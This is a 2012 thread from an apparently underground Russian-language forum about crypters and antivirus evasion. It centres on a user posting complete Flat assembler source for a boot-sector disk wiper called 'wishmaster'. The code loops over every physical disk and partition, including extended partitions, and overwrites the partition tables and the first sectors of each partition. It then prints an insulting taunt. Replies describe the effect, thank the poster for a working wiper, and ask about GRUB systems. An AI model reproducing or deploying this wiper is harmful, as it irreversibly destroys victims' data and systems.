FuckAV - Форум о крипторах

Анонимный антивирусный сканер VPN-сервис
[Copi]Team DDoS Service

SEO статьи - блог от создателя FuckAV | KOROVKA.so | Качественный VPN Service MultiVPN - PPTP/OpenVPN/DoubleVPN

Реклама на форуме | Помощь форуму | Аварийный блог

Наш Jabber-сервер расположен по адресу fuckav.in. Добро пожаловать!!!

Вернуться  

Для того, чтобы ответить в теме, необходимо зарегистрироваться.
 
Опции темы Опции просмотра
Старый 08-07-2012   #1
elepss

Windows 98
 
Аватар для elepss

Последняя активность:
3 недель(и) назад
Регистрация: 07.01.2011
Сообщений: 156
Поблагодарили всего: 23
за это сообщение: 0
Радость [Flat assembler] Исходник wishmaster

Сорцы конпелировать фасмом в 16бит.
Цитата:
;-------------------------------------------------------------------------------
; CESIUM.MBR
; Вишмастер.
; Компилятор: fasm
;-------------------------------------------------------------------------------
DELETE_BLOCKS_COUNT equ 2048h ; 10 метров
DELETE_BLOCKS_SIZE equ 1h

use16
org 7C00h

xor ax, ax
mov ds, ax
mov es, ax
mov ss, ax
mov sp, 7C00h

; Вывод сообщения
; Если выводить в конце, не рабто
mov dx, 0
mov bp, dmsg
mov ax, 1301h ; Функция, режим
mov cx, [msgsize]
mov bx, 0Ah ; Страница, цвет
int 10h

xor ax, ax
mov dl, 80h
push dx

LoopDisks:
; Начало цикла по физическим
; приводам
pop dx
push dx ; Читаем Primary MBR
mov [X_SEC], 0
mov ah, 42h
mov si, dap
int 13h
jc NoMoreDisks

cmp word [7E00h + 1FEh], 0AA55h ; Это вообще не MBR
jne NextDiskLoop


; Начинаем цикл по РАЗДЕЛАМ
; ------------------------------
mov si, 7FBEh ; 7E00h + 1BEh, там будет
; таблица разделов

ReadPartition:
mov eax, dword [si + 08h]

cmp byte [si + 04h], 0h ; Раздел свободен
je NextPartLoop ;

cmp byte [si + 04h], 0Fh ; Это указатель на расширенную
je LoadExtLBA ; таблицу разделов (LBA)

cmp byte [si + 04h], 05h ; А это - на расширенную таблицу
je LoadExtLBA ; в CHS, которую мы всё равно
; читаем как LBA
jmp SkipLoadExtLBA

LoadExtLBA:

mov [ExtPTSector], eax ; Сохраняем сектор с SMBR
jmp NextPartLoop

SkipLoadExtLBA:
; Стираем раздел
call ErasePartition

NextPartLoop:
add si, 10h
cmp si, 7FEEh ; ------------------------------
jna ReadPartition ; Конец цикла по разделам

; Стираем саму таблицу разделов
call EraseSector

; Читаем цепочку SMBR в цикле
SMBRLoop:
cmp [ExtPTSector], 0
jz SMBRLoopEnds

push [ExtPTSector]
pop [X_SEC]

mov ah, 42h ; Читаем сектор с SMBR
mov si, dap
int 13h
; Выпиливаем саму SMBR
call EraseSector
; Выпиливаем раздел
mov eax, dword [7FBEh + 08h]
add eax, [ExtPTSector]

call ErasePartition
; Указатель на следующий SMBR
mov eax, dword [7FBEh + 0Ch]
add eax, dword [7FBEh + 08h]
add [ExtPTSector], eax

cmp dword [7FCEh + 04h], 0 ; SMBR закончились
jz SMBRLoopEnds

jmp SMBRLoop

SMBRLoopEnds:

NextDiskLoop:
pop dx
inc dl
push dx
jmp LoopDisks ; Переходим к следующему диску

NoMoreDisks:


int 18h

;---------------------------------------------------------------
; Удаление первых N секторов с
; раздела. На вход - адрес сектора
; в EAX
;
ErasePartition:

push si ; Подготавливаем структуру
push [X_SEC]
mov [N_SEC], DELETE_BLOCKS_SIZE
mov [buf_off], 0h
mov [X_SEC], eax
mov cx, DELETE_BLOCKS_COUNT

erase_next:
mov ax, 4300h
mov si, dap
int 13h
add [X_SEC], DELETE_BLOCKS_SIZE
loop erase_next

pop [X_SEC] ; Восстанавливаем структуру
pop si
mov [buf_off], 7E00h
mov [N_SEC], 1

ret

;---------------------------------------------------------------
; Удаление одного сектора из
; текущего положения в X_SEC
;
EraseSector:

mov [buf_off], 0
mov si, dap
mov ax, 4300h
int 13h
mov [buf_off], 7E00h
ret
;---------------------------------------------------------------

; Дальше идут данные
dap:
packet_size db 10h ; Размер пакета
reserved db 00h
N_SEC dw 01h ; Количество секторов
; для чтения/записи
buf_off dw 7E00h ; Смещение буфера.
buf_seg dw 00h ; Сегмент буфера
X_SEC dd 00h ; Сюда будет занесён
; адрес сектора
dd 00h ; неиспользуемый хвост
; для 64-битного адреса

ExtPTSector dd 00h

dparam:
dw 001Ah ; Версия (1.0)


dmsg db "Privet ot kamitsure! pwned by apa4an "
db "Chini komp mudilo. Ty kto takoi davai do svidanijа!"
msgsize dw $-dmsg
p.s починить загрузочный сектор, в режиме восстановления вписать.
bootsect. /bootfix
bootsect. /fixmbr

Последний раз редактировалось elepss; 10-07-2012 в 18:07.
elepss вне форума  
Старый 08-07-2012   #2
nevazhno

Windows XP

Последняя активность:
17 час(ов) назад
Регистрация: 22.10.2011
Сообщений: 285
Поблагодарили всего: 89
за это сообщение: 0
По умолчанию

Что это такое и для чего это нужно?
nevazhno вне форума  
Старый 08-07-2012   #3
elepss
Topic starter

Windows 98
 
Аватар для elepss

Последняя активность:
3 недель(и) назад
Регистрация: 07.01.2011
Сообщений: 156
Поблагодарили всего: 23
за это сообщение: 0
По умолчанию

Разносит загрузочный сектор жесткого диска.
Жесткий диск становится визуально пустым и если он был разбит на 2, то виден лишь как один.
При загрузке в bios вылетает сообщение которые ты указываешь в конце кода, распознает только латиницу.
elepss вне форума  
Старый 14-07-2012   #4
MyP3uk

Windows v.3.11
 
Аватар для MyP3uk

Последняя активность:
06-01-2013
Регистрация: 14.05.2012
Сообщений: 83
Поблагодарили всего: 0
за это сообщение: 0
По умолчанию

Хм... жавно искал ваниш рабочий, ТС спасибо.
Ребят а если на железе стоит несколько ОСей и загрузчик GRUB, снесёт ли его и восстанавливаемо ли?
MyP3uk вне форума  
Старый 17-07-2012   #5
kaht

Windows v.2.03

Последняя активность:
28-07-2012
Регистрация: 17.07.2012
Сообщений: 18
Поблагодарили всего: 0
за это сообщение: 0
По умолчанию

Цитата:
Сообщение от MyP3uk Посмотреть сообщение
Хм... жавно искал ваниш рабочий, ТС спасибо.
Что-то плохо ты его искал. На любой борде отпиши, ололо ищу илитарный вишмастер 3.1.
Местные похеки накидают всяко разно.
Цитата:
Ребят а если на железе стоит несколько ОСей и загрузчик GRUB, снесёт ли его и восстанавливаемо ли?
зависит от того где находится mbr.
kaht вне форума  
Для того, чтобы ответить в теме, необходимо зарегистрироваться.

Метки
assembler, bootsect, fasm, flat, wishmaster, исходник


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 
Опции темы
Опции просмотра
Комбинированный вид Комбинированный вид

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Часовой пояс GMT +3, время: 14:48.



Powered by vBulletin® Copyright ©2000 - 2014, Jelsoft Enterprises Ltd. Перевод: zCarot
Други: SEO блог Deymos'a| ProLogic.Su| DServers.ru| Форум веб-мастеров